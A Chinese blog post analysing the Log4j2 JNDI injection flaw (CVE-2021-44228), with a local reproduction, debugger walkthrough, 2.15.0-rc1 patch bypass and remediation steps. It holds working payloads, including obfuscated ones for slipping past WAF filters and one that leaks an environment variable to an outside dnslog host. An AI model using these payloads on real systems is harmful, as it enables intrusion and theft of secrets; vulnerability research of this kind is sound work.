1.1. 前言

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。

2021年12月9日晚,各大公众号突然发布漏洞预警

2021年12月10日晚,各大公众号开始蹭热度


Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。(CNVD-2021-95914、CVE-2021-44228)

影响版本:Apache Log4j 2.x <= 2.15.0-rc1

2.15.0-rc1 存在补丁绕过,但是很鸡肋

1.2. 复现

老规矩,先复现,再分析

1.2.1. pom.xml

  • Jdk8u111
  • log4j-api不是必须
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>

1.2.2. 启动JNDI注入Server

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1

1.2.3. 漏洞代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Test {
    private static final Logger logger = LogManager.getLogger(Test.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}");
    }
}

1.2.4. 效果

image-20211210091451769

image-20211210091345232

1.3. 分析

1.3.1. 调用栈

在利用过程中,因为我们明确知道要执行系统命令调用java.lang.Runtime#exec(java.lang.String[]),所以在exec方法处下断点,分析一下调用栈

image-20211210093916217

运行获取调用栈

image-20211210093957700

exec:485, Runtime (java.lang)
<init>:-1, ExploitgJlWqLWBF3
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, Test

最明显的漏洞触发点,就是在第16行lookup:172, JndiManager (org.apache.logging.log4j.core.net)

跟过去看下,典型的JNDI注入

image-20211210094235199

1.3.2. Debug分析

既然已经知道调用栈了,那么就可以慢慢分析了

logger.error为入口,跟进去后会前期有一系列的和我们分析无关的过程,主要就是各种常规包装和调用

toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, Test

然后一直到了org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder),这个的主要功能就是通过遍历formatters一段一段的拼接输出的内容

image-20211211122610115

image-20211211122639788

当到了格式化我们传入的内容的时候,同样的会进行format处理,跟进发现会调用converter.format()converter属于MessagePatternConverter

image-20211211121844651

所以就到了org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

分析代码,可以看到,如果写入的日志内容中包含${,就会将我们输入的内容从workingBuilder分割出来,赋值给value,然后调用config.getStrSubstitutor().replace()方法

image-20211210104613387

跟进replace(),会调用substitute()方法

org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List<java.lang.String>)方法中,会首先遍历字符,通过正则判断,获取${}的位置,最后截取出${}中间的内容,得到jndi:xxxx

image-20211210110328994

然后再次递归调用substitute(),继续截取${}中的内容,主要是为了判断是否还有${},后续还有分隔符的判断,就先不管了

一直跟到解析变量这,跟进这个函数

image-20211210111952428

可以猜测resolver解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j],而我们这里利用的jndi:xxx后续就会用到JndiLookup这个解析器

image-20211210112247264

跟进lookup,就是通过:分割前面的关键词jndi部分和后面的payload内容部分,再获取解析器,通过解析器去lookup

image-20211210113045092

继续跟进org.apache.logging.log4j.core.lookup.JndiLookup#lookup,会初始化JNDI客户端,继续调用lookup

image-20211210113423856

再跟进就是非常常规的JNDI注入点了,分析也到此结束

image-20211210113508239

1.3.3. 总结

总结一下整个分析过程,也很简单

  1. 先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payload jndi:xxx
  2. 后使用:分割payload,通过前缀来判断使用何种解析器去lookup
  3. 支持的前缀包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,可以研究下其他的,说不定有文章可做

1.4. 一个小坑

网上有各种百度、icloud等大厂商被打的情况,但是最开始一直认为只有logger.error()才会触发,所以百思不得其解,难道用户搜索的所有内容都会被百度用logger.error()记录下来?很明显这是不可能的啊!!!

image-20211210194148506

后面研究了半天,忽略了第一句话

此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。

只要输入会被记录,就存在这个问题;什么情况下会记录呢?主要代码还是在

image-20211212185601615

一直跟到最后,intLevel >= level.intLevel()falseintLevel为我们使用的INFO等级的值200,level.intLevel()则为当前日志记录等级ERROR的值400

image-20211212190556258

这也是为什么log4j默认情况下只会记录errorfatal的日志,如下图,所以我们测试的时候只有logger.errorfatal的时候才会触发。

image-20211210195141578

因此其他日志等级也不是不能触发,修改一下日志记录等级,让它能够记录下来我们输入的payload,就可以触发漏洞了

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;

public class Test {
    private static Logger logger = LogManager.getLogger(Test.class);

    public static void main(String[] args) {
        // 第一个参数 "Test" 为类名
        Configurator.setLevel("Test", Level.INFO);
        logger.info("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}");
    }
}

image-20211210195519984

1.5. 常规绕过

现在很多WAF都是检测是否存在jndi:等关键词来判断,这个很明显拦得了一时,拦不了一世啊!!!

通过上面的分析,我们也看到了有很多其他的解析器可用,包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,还有分隔符啥的,结合起来可以绕过大多数常见的WAF了。

1.5.1. 多个${}执行流程

先来分析一下多个${}的执行流程,Payload举例如下:

${aaa:${bbb:ccc}dd}${ee:ff}

当识别到多个${}时,准备来说是识别到多个${时,主要分为两种情况:

  1. 当属于嵌套类型时,比如${${}},参数nestedVarCount会执行+1操作,表示存在嵌套,防止找错闭合时用的},会先处理内部的${},再将处理结果返回后继续处理${} ;具体的原因,就是因为会递归调用substitute(),所以会先把内部的处理完

    image-20211211142435846

  2. 当属于并列类型时,比如${}${},会依次处理${};因为他一次只会提取一整个${}

1.5.2. 分隔符

org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute()里处理完${}后,就会有一部分的分隔符处理,一个是valueEscapeDelimiterMatcher [:\-],另一个是valueDelimiterMatcher [:-]


先来看第一个valueEscapeDelimiterMatcher,payload ${aa:\\-bb}

从下图可以看出来,就是给 :\- 中的 \ 去掉了变成了:-,好像是没啥用

image-20211211160840663


再来看看valueDelimiterMatcher,payload ${aa:-bb}

从下面可以看出来,被:-分割成了前后两部分,前面的部分赋值给varName,后面部分赋值给varDefaultValue

image-20211211162535118

  • varName会被传入到resolveVariable()进行解析,如果没有协议什么的,就会返回null

  • 如果resolveVariable()返回值为nullvarDefaultValue在后续的过程中也会递归调用substitute

image-20211211170033001

最后会返回varDefaultValue的值

image-20211211170508262

1.5.3. 其他解析器功效

上面分析我们也注意到了,有多个解析协议可用,包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,我们来分析一下作用

可以下断点到org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariableresolver.lookup(event, variableName)这一行,然后动态执行看效果;比如

image-20211211145033551

解析协议 说明
date: 日期时间(详情org.apache.logging.log4j.core.lookup.DateLookup#lookup
java: 一些JVM的信息(可用参数version、runtime、vm、os、hw、locale,详情org.apache.logging.log4j.core.lookup.JavaLookup#lookup
marker: 返回event.getMarker(),不知道具体干啥的
ctx:key 返回event.getContextData().getValue(key),就是获取上下文的数据
lower:KEY 返回字符串小写值
upper:key 返回字符串大写值
jndi: JNDI注入利用点,不多说了
main:key 返回((MapMessage) event.getMessage()).get(key),也是获取一些变量值
jvmrunargs: 没搞懂。。。
sys:key 返回一些系统属性:System.getProperty(key)
env:key 返回System.getenv(key)
log4j:key 返回一些log4j的配置信息,可用值configLocation、configParentLocation

1.5.4. 绕过思路

我们已经知道了${}的执行流程,也知道了分隔符怎么处理的,又知道了其他协议的解析返回值,那么就可以构造payload来绕过了,举一些例子

  • 原始payload
${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
  • 一些绕过paylioad
${${a:-j}ndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${a:-j}n${::-d}i:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower:jn}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower:${upper:jn}}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}

1.5.5. 奇淫技巧

刚才分析了其他解析器功效,通过sysenv协议,结合jndi可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码

举个例子

${jndi:ldap://${env:LOGNAME}.eynz6t.dnslog.cn}

image-20211211172428046

1.6. 2.15.0-rc1补丁绕过

LOG4J2-3201 Commit

和之前一样,直接来到org.apache.logging.log4j.core.layout.PatternLayout.PatternFormatterPatternSerializer#toSerializable;熟悉的遍历formatter拼接输出内容

image-20211211202514773

到了拼接我们自定义内容的部分的时候,跟进会调用converter.format,可以看到这里的converter类已经变成了MessagePatternConverter.SimpleMessagePatternConverterSimpleMessagePatternConverterMessagePatternConverter的一个内部类

image-20211211203318239

跟进,发现会调用((StringBuilderFormattable) msg).formatTo(toAppendTo)

image-20211212100007498

再跟进formatTo,可以看出就是直接拼接字符串,并不会对包含有特殊内容${}的字符串进行处理

image-20211212100040460


看着是没问题了,但是发现在MessagePatternConverter中还有一个内部类LookupMessagePatternConverter,这个类会对${的内容进行特殊处理。

image-20211212102131892

但是怎么样才能让converter的类变成LookupMessagePatternConverter,而不是SimpleMessagePatternConverter呢?

newInstance这个初始化配置函数的地方下个断点,发现必须要满足2个条件,才能使用LookupMessagePatternConverter这个converter

image-20211212102704541

所以这也是补丁绕过比较鸡肋的地方,需要自己手动修改配置,正常人会故意这么写吗?

为了分析绕过,我们只能手动配置了。。。

分析上面需要满足的2个条件:

  1. lookupstruelookups的值是通过loadLookups(options)这个函数来获得的,分析一下这个函数,只要options这个字符串数组包含lookups即可

    image-20211212103319652

  2. 需要一个config的实例,属于org.apache.logging.log4j.core.config.DefaultConfiguration这个类,默认不为null

尝试了各种方法修改配置都不行

log4j2.formatMsgNoLookups=false
log4j2.formatMsgLookups=true

所以采用了一个暴力的方法,就是在调试的时候动态修改options变量的值

options = new String[]{"lookups"}

image-20211212113357847

可以看到,我们修改过后,再次来到converter.format(event, buf),此时converter属于MessagePatternConverter.LookupMessagePatternConverter类了,目标达成

image-20211212113740541

跟进也是我们想要的结果,对${进行定位判断

image-20211212114024942

跟进replaceIn,就又到了常规的substitute了,接下来几步就不再次分析了

image-20211212114240100

上面这么多都是解决配置问题,让它使用到我们想要的converter


后面都是和之前类似差不多的,一直到了org.apache.logging.log4j.core.net.JndiManager#lookup,可以看出来加了很大一串try...catch...对我们的payload进行判断,一有不对劲的地方就return null

image-20211212114948868

还是分析一下各个限制

变量
allowedProtocols [java, ldap, ldaps]
allowedHosts [localhost, 127.0.0.1, d4m1tsdeMacBook-Pro.local, fe80:0:0:0:511a:1574:bca8:fa1b%utun3, fe80:0:0:0:5f4b:9388:9617:a34f%utun2, fe80:0:0:0:da80:893a:2c2b:22c9%utun1, fe80:0:0:0:4936:2ec2:ac06:59d0%utun0, fe80:0:0:0:b853:76ff:fec8:ca3a%llw0, fe80:0:0:0:b853:76ff:fec8:ca3a%awdl0, fe80:0:0:0:aede:48ff:fe00:1122%en5, fe80:0:0:0:1421:ea1:4520:c8ab%en0, 192.168.0.106, fe80:0:0:0:0:0:0:1%lo0, 0:0:0:0:0:0:0:1]
allowedClasses [java.lang.Boolean, java.lang.Byte, java.lang.Character, java.lang.Double, java.lang.Float, java.lang.Integer, java.lang.Long, java.lang.Short, java.lang.String]

看似无懈可击,但是却有一个很严重的问题

如果出现URISyntaxException异常,就会直接执行catch,然后就到了this.context.lookup(name),还是存在JNDI注入

所以我们现在的绕过想法,就是想办法让211行的URI uri = new URI(name);抛出URISyntaxException

分析一下这个报错,就可以发现触发的方式还是挺多的

image-20211212135244824

也可以网上找找,比如:

image-20211212134432226

试一下

image-20211212135845454

所以绕过方法:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/ #Exploit" 8088

python3 -m http.server 8000
# 127.0.0.1 - - [12/Dec/2021 14:04:04] "GET /Exploit.class HTTP/1.1" 200 -

${jndi:ldap://127.0.0.1:8088/ Exploit}

image-20211212140354955

结果,绕过成功

image-20211212140434079

1.7. 2.15.0-rc2修复

Handle URI exception Commit

从github上提交的代码,可以看出给catch没有return null的问题修复了

image-20211212175014608

暂时还没有好的绕过思路,所以先这样吧

1.8. 影响范围

srping-boot-strater-log4j2
Apache Solr
Apache Flink
Apache Druid
Apache Struts2
ElasticSearch
Flume
Dubbo
JedisLogstash
Kafka
...

1.9. 修复建议

  1. 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本
  2. 升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本,从根源上杜绝大部分常规的JNDI注入

临时措施

  1. 在jvm参数中添加 -Dlog4j2.formatMsgNoLookups=true 【针对 2.10.0 及以上的版本】
  2. 系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true 【针对 2.10.0 及以上的版本】
  3. 创建“log4j2.component.properties”文件,文件中增加配置“log4j2.formatMsgNoLookups=true” 【针对 2.10.0 及以上的版本】
  4. 限制受影响应用对外访问互联网
Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2021-12-25 18:52:00

results matching ""

    No results matching ""